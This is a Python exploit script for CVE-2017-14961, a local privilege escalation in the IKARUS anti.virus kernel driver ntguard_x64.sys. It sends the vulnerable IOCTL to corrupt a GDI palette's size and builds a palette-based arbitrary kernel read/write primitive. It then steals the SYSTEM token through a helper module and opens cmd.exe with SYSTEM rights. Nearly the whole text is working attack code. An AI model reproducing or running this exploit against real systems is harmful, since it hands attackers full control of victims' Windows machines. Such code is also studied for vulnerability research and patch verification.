from kex import *
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, platform

if __name__ == '__main__':

	print "[*] IKARUS anti.virus (ntguard_x64.sys) local privilege escalation"
	print "[*] CVE-2017-14961"
	
	IOCTL_VULN	= 0x8300000c
	DEVICE_NAME   = "\\\\.\\ntguard"
	dwReturn	  = c_ulong()
	print '[*] Trying to open ntguard'
	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
	if driver_handle == INVALID_HANDLE_VALUE:
		print "[-] Coudn't open driver, exiting..."
		sys.exit(-1)

	print '[+] Opened ntguard'

	p = platform.platform()
	if p == 'Windows-10-10.0.14393' or p == 'Windows-10-10.0.15063' or p == 'Windows-10-10.0.16299':
		pFirstColor_offset = 0x78
	elif p == 'Windows-10-10.0.10586' or p == 'Windows-8-6.2.9200-SP0' or p == 'Windows-8.1-6.3.9600' or p == 'Windows-7-6.1.7601-SP1':
		pFirstColor_offset = 0x80
	else:
		print "[-] This platform is not supported for palettes"
		sys.exit(-1)
	apalColors_offset = pFirstColor_offset + 0x10
	cEntries_offset = 0x1c
		
	palette_1_address = alloc_free_windows(0)
	print "[*] Palette 1 kernel address: %s" % hex(palette_1_address)
	palette_1_handle = create_palette_with_size(0x1000)
	palette_1_pFirstColor = palette_1_address + pFirstColor_offset

	palette_2_address = alloc_free_windows(0)
	print "[*] Palette 2 kernel kaddress: %s" % hex(palette_2_address)
	palette_2_handle = create_palette_with_size(0x1000)
	palette_2_pFirstColor = palette_2_address + pFirstColor_offset
	if palette_1_address == palette_2_address:
		print "[-] An error occured during palette allocation, try to rerun the exploit"
		sys.exit(-1)

	if palette_1_address < palette_2_address:
		outputbuffer = palette_1_address + 0x1c+3
	else:
		outputbuffer = palette_2_address + 0x1c+3
	print "[*] Address to overwrite with 0x11: %s" % hex(outputbuffer)	

	inputbuffer = None
	inputbuffer_size = 0
	outputbuffer_size = 0
	IoStatusBlock = c_ulonglong()
	print "[*] Talking to the driver sending vulnerable IOCTL..."
	kernel32.DeviceIoControl(driver_handle, IOCTL_VULN, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size, byref(IoStatusBlock), None);

	print "[+] Palette size have been increased for out-of-bound write"
	if palette_1_address < palette_2_address:
		distance = (palette_2_address + pFirstColor_offset) - (palette_1_address + apalColors_offset)
	else:
		distance = (palette_1_address + pFirstColor_offset) - (palette_2_address + apalColors_offset)
	
	print "[*] Distance for out of bound write: %s" % hex(distance)

	if palette_1_address < palette_2_address:
		address = c_ulonglong(palette_1_pFirstColor)
		gdi32.SetPaletteEntries(palette_1_handle, c_uint(distance/4), sizeof(address)/4, addressof(address));
		print "[+] Overwrote pFirstColor address of manager palette at %s to %s" % (hex(palette_2_pFirstColor), hex(palette_1_pFirstColor))
		manager_palette_handle = palette_2_handle
		worker_palette_handle = palette_1_handle
	else:
		address = c_ulonglong(palette_2_pFirstColor)
		gdi32.SetPaletteEntries(palette_2_handle, c_uint(distance/4), sizeof(address)/4, addressof(address));
		print "[+] Overwrote pFirstColor address of manager palette at %s to %s" % (hex(palette_1_pFirstColor), hex(palette_2_pFirstColor))
		manager_palette_handle = palette_1_handle
		worker_palette_handle = palette_2_handle
	
	tokenstealing_with_palettes(manager_palette_handle, worker_palette_handle)
	if shell32.IsUserAnAdmin():
		print "[+] We got SYSTEM!!"
		os.system('cmd.exe')
	else:
		print "[-] Something went wrong with the exploit, no SYSTEM"

add example